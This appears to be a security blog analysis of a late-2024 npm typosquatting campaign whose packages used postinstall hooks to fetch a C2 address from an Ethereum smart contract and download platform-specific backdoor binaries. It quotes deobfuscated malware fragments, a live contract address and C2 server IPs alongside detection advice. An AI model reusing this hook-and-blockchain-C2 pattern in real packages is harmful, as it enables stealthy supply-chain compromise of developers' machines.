In late 2024, a sophisticated supply chain attack targeting the npm ecosystem was uncovered by advanced threat monitoring systems. This campaign leveraged an unprecedented technique—using Ethereum smart contracts to dynamically retrieve command-and-control (C2) server addresses—enabling attackers to maintain persistent, stealthy access to compromised systems. The attack highlights the evolving complexity of software supply chain threats and the creative exploitation of decentralized technologies for malicious purposes.
This in-depth analysis explores the technical mechanics, detection challenges, and broader implications of this novel attack vector.
Understanding the Attack Timeline
The incident began on October 21, 2024, when a suspicious npm package named haski—a phonetic mimic of the widely used husky—was published. This naming strategy is a classic example of typosquatting, designed to trick developers into installing malicious packages due to typographical errors.
What made this package particularly dangerous was its use of a postinstall hook in the package.json file:
"scripts": {
"postinstall": "node install-script.js"
}This script executes automatically upon installation, bypassing user consent and enabling silent execution of malicious code. Further investigation revealed that the install-script.js was heavily obfuscated—a common tactic to evade static analysis and automated scanning tools.
Notably, on the same day, another malicious package, jest-fet-mock, was published with identical obfuscated code but under a different account and email domain ([email protected]). A third test package, 1234wdzwkcsf, followed two days later, using yet another anonymous email provider (mail.3a88.dev). These early attempts suggest a phased testing approach, allowing attackers to refine their payload delivery mechanism before large-scale deployment.
From October 31 to November 3, the attackers launched a coordinated wave, publishing 34 additional malicious npm packages. These included names like puppeteerfox, etherscna-api, and metamaks, all mimicking legitimate libraries. Each package was uploaded by a unique account using patterned Gmail addresses (e.g., [email protected]), indicating automated account creation.
Despite appearing legitimate—with accurate metadata, repository links, and dependencies—the packages retained the malicious postinstall hook. However, the script name evolved from install-script.js to randomly generated filenames like os44oz5q.cjs, enhancing evasion capabilities.
Technical Deep Dive: How the Malware Operates
After deobfuscating the malicious JavaScript code, researchers identified a multi-stage execution flow designed to download and execute platform-specific payloads.
Step 1: Retrieving the C2 Address via Ethereum Smart Contract
Unlike traditional malware that hardcodes C2 URLs or uses domain generation algorithms (DGAs), this attack introduced a blockchain-based C2 resolution mechanism.
The malware interacts with an Ethereum smart contract deployed at address:
0xa1b40044EBc2794f207D45143Bd82a1B86156c6bUsing the ethers.js library, it calls a public function getString():
const provider = ethers.getDefaultProvider('mainnet');
const contract = new ethers.Contract(contractAddress, abi, provider);
const c2Url = await contract.getString('0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84');This function returns a string value—the current C2 server URL—stored within the contract. Crucially, calling this function requires no transaction fee (gas) and leaves no traceable write operation, making it invisible to casual blockchain monitors.
Moreover, the attacker can update the C2 address anytime by invoking a setString() function through a signed transaction. Historical records on Etherscan show multiple updates:
- Sep 23, 2024:
http://localhost:3001(initial testing) - Oct 21, 2024:
http://45.125.67.172:1337(used in test packages) - Latest:
http://194.53.54.188:3001(active at time of analysis)
This dynamic update capability allows attackers to rotate infrastructure rapidly, evading blacklists and sandbox detection.
Step 2: Platform-Specific Payload Delivery
Once the C2 URL is retrieved, the malware constructs the download path based on the victim’s operating system:
getDownloadUrl = (baseUrl) => {
switch(os.platform()) {
case 'win32': return baseUrl + '/node-win.exe';
case 'linux': return baseUrl + '/node-linux';
case 'darwin': return baseUrl + '/node-macos';
default: throw new Error('Unsupported platform');
}
}Each payload is tailored for persistence and stealth. Sandboxing analysis confirmed that once executed, these binaries establish persistent backdoors, often adding startup entries and awaiting remote commands.
Why This Attack Is Significant
This campaign represents a paradigm shift in supply chain attacks:
- Decentralized C2 Infrastructure: By leveraging Ethereum’s immutability and global accessibility, attackers achieve high availability and resilience.
- Evasion of Static Detection: The absence of hardcoded IPs/domains in the npm package makes signature-based detection nearly impossible.
- Low Cost & High Scalability: Smart contract interactions are free for read operations, reducing operational costs.
- Plausible Deniability: Since blockchain data is public, attackers could argue the contract was "for research," complicating attribution.
Attribution Clues and Geolocation Insights
Several indicators point toward potential origins:
- Russian-language error messages such as
'Ошибка при получении IP адреса'("Error obtaining IP address") appear in the code. - The C2 infrastructure is hosted by iHor, a cloud provider based in Russia.
- While blockchain transactions are pseudonymous, wallet activity patterns and hosting choices suggest Eastern European ties.
However, definitive attribution remains challenging due to the use of anonymized services and decentralized infrastructure.
Frequently Asked Questions (FAQ)
Q: Can Ethereum smart contracts be used legally for malware?
A: No. While smart contracts themselves are neutral technology, using them to facilitate cyberattacks violates laws in most jurisdictions. Their transparency also aids forensic investigations.
Q: How can developers detect such attacks during dependency installation?
A: Monitor for unexpected postinstall or preinstall scripts in packages. Tools like npm audit, Snyk, or GitHub Dependabot can help flag suspicious behavior.
Q: Is it possible to block access to malicious smart contracts?
A: Not directly. However, organizations can monitor outbound calls to known Ethereum nodes (e.g., Infura, Alchemy) and inspect JSON-RPC requests for suspicious contract interactions.
Q: What makes this attack different from previous npm supply chain breaches?
A: Previous attacks typically relied on hijacked accounts or typo-squatting with static C2s. This case combines social engineering with blockchain-based infrastructure for dynamic, resilient communication.
Q: Can blockchain analysis help stop such threats?
A: Yes. Although read calls are invisible, any update to the C2 URL via setString() is recorded on-chain. Real-time monitoring of contract state changes can provide early warnings.
Q: Are other platforms at risk of similar attacks?
A: Absolutely. PyPI (Python), RubyGems, and Cargo (Rust) ecosystems are equally vulnerable if they allow automated execution hooks and network access during installation.
Core Keywords
- Supply chain attack
- npm malware
- Ethereum smart contract C2
- Typosquatting
- Postinstall hook
- Blockchain-based command and control
- Software dependency security
- Obfuscated JavaScript
Conclusion
This novel supply chain attack demonstrates how threat actors are increasingly exploiting decentralized technologies to enhance stealth and resilience. By embedding C2 logic within Ethereum smart contracts, attackers have created a system that is both difficult to detect and highly adaptable.
Organizations must evolve their software security strategies to include runtime monitoring of package installations, behavioral analysis of scripts, and integration with blockchain threat intelligence feeds. As open-source ecosystems grow more interconnected, protecting the integrity of software dependencies becomes not just a best practice—but a critical defense layer against next-generation cyber threats.